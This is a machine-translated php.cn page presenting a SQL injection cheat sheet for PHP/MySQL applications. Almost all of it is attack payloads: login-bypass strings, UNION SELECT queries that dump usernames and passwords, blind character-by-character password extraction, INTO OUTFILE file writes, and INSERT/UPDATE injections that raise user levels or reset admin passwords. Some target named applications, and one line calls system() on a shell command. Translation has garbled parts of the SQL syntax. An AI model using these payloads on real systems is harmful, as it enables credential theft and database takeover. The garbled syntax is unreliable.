ホームページ >php教程 >php手册 >PHP インジェクションの概要

PHP インジェクションの概要

WBOY
WBOYオリジナル
2016-06-21 09:06:101337ブラウズ

' または 1=1
' または '1=1
'/*
'%23
' およびパスワード='mypass
id=-1 Union select 1,1,1
id=-1 Union select char(97) ,char(97),char(97)
id=1 ユニオンはメンバーから 1,1,1 を選択します
id=1 ユニオンは管理者から 1,1,1 を選択します
id=1 ユニオンはユーザーから 1,1,1 を選択します
userid=1 およびpassword=mypass
userid=1 およびmid(password,3,1)=char(112)
userid=1 およびmid(password,4,1)=char(97)
and ord(mid(password) ,3,1))>111 (ord 関数は非常に便利で、整数を返すことができます)
' および LENGTH(password)='6 (パスワードの長さを検出)
' および LEFT(password,1)='m
' およびLEFT(password,2)='my
...........................など
' Union select 1,username,password from user/*
' Union select 1,username,password from user/*
=' Union select 1,username,password from user/* (1 または直接 = を続けることができます)
99999' Union select 1, username,password from user/ *
' を出力ファイル 'c:/file.txt (エクスポート ファイル) に入力
=' または 1=1 を出力ファイル 'c:/file.txt に入力
1' ユーザーから出力ファイル 'c:/ に 1、ユーザー名、パスワードを選択しますuser.txt
管理者からパスワードを選択します wherelogin='John' INTO DUMPFILE '/path/to/site/file.txt'
id=' Union select 1,username,password from user into outfile
id=-1 Union select 1,database(),version() (柔軟なアプリケーション クエリ)
一般的に使用されるクエリ テスト ステートメント、
select * FROM table where 1=1
select * FROM table where 'uuu'='uuu'
select * FROM table where 1< ;>2
select * FROM テーブル where 3>2
select * FROM テーブル where 2select * FROM テーブル where 1
select * FROM テーブル where 1+1
select * FROM テーブル where 1 --1
select * ISNULL(NULL) の FROM テーブル
select * ISNULL(COT(0)) の FROM テーブル
select * 1 が NULL でない FROM テーブル
select * NULL が NULL の FROM テーブル
select * 2 BETWEEN 1 AND の FROM テーブル3
select * FROM table where 'b' BETWEEN 'a' AND 'c'
select * FROM table where 2 IN (0,1,2)
select * FROM table where CASE WHEN 1>0 THEN 1 END

For例: Night Cat ダウンロード システム バージョン 1.0
id=1 Union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1, 1
ユニオン選択 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 から ymdown_user
ユニオン選択 1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
id=10000 Union select 1 ,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user (id=1 および groupid=1)
union select 1 ,username,1 ,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (パスワードの置換、検索)
union select 1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ymdown_user から id=1 および ord(mid(password ,1,1 ))=49 (最初のパスワードを確認)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1 ymdown_user から id=1 および ord(mid(password,2,1))=50 (2 番目の位置)
union select 1,1,1,1,1,1,1,1,1 ,1,1,1 ,1,1,1,1,1,1,1 (id=1 および ord(mid(password,3,1))=51 の ymdown_user から)
...................................... ................................................................... ....... .......

例 2: テスト用のグレーのトラック変換 ID (流星)
union%20(select%20allowsmilies,public,userid,'0000-0-0 ',user (),version()% 20FROM%20calendar_events%20where%20eventid%20=% 2013)%20order%20by%20eventdate
union%20(select%20allowsmilies,public,userid,'0000-0-0', pass (),version()%20FROM% 20calendar_events%20where%20eventid%20=% 2010)%20order%20by%20eventdate
構築ステートメント:
select allowedmilies,public,userid,eventdate,event,subject FROM Calendar_events where eventsid = 1 Union (userid = 1 のユーザーから 1,1,1,1 ,1,1,1 を選択)
Calendar_events where eventsid = 1 からallowsmilies,public,userid,eventdate,event,subject を選択 Union (1,1,1 を選択) ,1,username,userid =1 のユーザーのパスワード)
union%20(select%201,0,2,'1999-01-01','a',password%20FROM%20u ser%20where%20userid%20 =%205)%20order%20by%20eventdate
union%20(select%201,0,12695,'1999-01-01','a',password%20FROM %20user%20where%20userid=13465)%20order% 20by%20eventdate
union%20(select% 201,0,12695,'1999-01-01','a',userid%20FROM%2 0user%20where%20username='sandflee')%20order%20by%20eventdat e (砂のIDを確認してください)


( select a FROM table_name where a=10 AND B=1 ORDER BY a LIMIT 10)
select * FROM Article where Articleid='$id' Union select * FROM... (Ifフィールドとデータベースは同じなので、直接送信することができます)
select * FROM Article wherearticleid='$id' Union select 1,1,1,1,1,1,1 FROM... (異なる状況下)

特技: フォーム内、検索エンジンやその他の場所で次のように書きます:
"___"
".__ "
"%
%' ORDER BY 記事ID/*
%' ORDER BY 記事ID#
__' ORDER BY 記事ID /*
__' ORDER BY 記事 ID#

$command = "dir c:";system($command);
select * FROM 記事 where 記事 ID='$id'
select * FROM 記事 where 記事 ID=$id
1 ' and 1=2 Union select * from user where userid=1/* 文中の は
(select * FROM Article where Articleid='1' and 1=2 Union select * from user where userid=1/*')
1 と 1=2 Union select * from user where userid=1

语句 形式:建立一个库,插入:
create DATABASE `injection`
create TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`ユーザー名` varchar(20) NOT NULL デフォルト '',
`パスワード` varchar(20) NOT NULL デフォルト '',
PRIMARY KEY (`userid`)
) ;
「user」値に挿入 (1, 'swap', 'mypass');


插例一注册用户:
insert INTO `user` (ユーザーID、ユーザー名、パスワード、ホームページ、ユーザーレベル) VALUES ('', '$username', '$password', '$homepage', '1') ;
"メンバー (ログイン、パスワード、名前、メールアドレス、ユーザーレベル) の値を挿入 ('$login','$pass','$nom','$email','1')";
insert INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')
"insert INTO membres SET login='$ログイン'、パスワード='$pass'、nom='$nom'、電子メール='$email'";
insert INTO membres SET login='',password='',nom='',userlevel='3',email=''
"insert INTO membres VALUES ('$id','$login','$pass) ','$nom','$email','1')";

ユーザーのSETパスワードを更新='$password'、ホームページ='$homepage'、id='$id'
ユーザーのSETパスワードを更新='MD5(mypass)'、ユーザー名='admin'#)'、ホームページ=' $homepage' where id='$id'
"メンバーを更新 SET パスワード='$pass',nom='$nom',email='$email' where id='$id'";
メンバーを更新 SET パスワード='[PASS]',nom='',userlevel='3',email=' ' where id='[ID]'
「ニュースを更新 SET 投票=投票+1、スコア=スコア+$ idnews='$id'"; に注意してください。

长用


database()
user()
system_user()
session_user()
Current_user() () where id=1
#握る当前のデータベース库名更新からタイトルフィールド
記事を更新 SET title=USER() where id=1
#握る当前のMySQL用户名更新からタイトルフィールド
記事を更新 SET title=SYSTEM_USER() where id=1
#握る当前 MySQL 用户名更新からタイトルフィールド
記事を更新 SET title=SESSION_USER() where id=1
#握る当前 MySQL 用户名更新からタイトルフィールド
記事を更新 SET title=CURRENT_USER() where id= 1
#握る当前会话被验证適合的用户名更新toタイトル字句

::::::::::::::::::::::::::::: :::::::::::::::::::::::::::::::::::::::::
$req = "選択 * '%$search%' のような名前のメンバーから ORDER BY 名前";
select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name
select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name
select uid FROM admins where login= '' OR 'a'='a' AND passwd='' OR 'a'='a' (经典)
select uid FROM admins where login='' OR admin_level=1#' AND passwd=''
select *メッセージが '%hop' のようなテーブルから
select uid FROM メンバーからログイン='Bob' AND パスワードが 'a%'#' のような AND パスワード=''
select * FROM メンバーから名前が '%%' のような ORDER BY uid# %' 名前で注文





声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。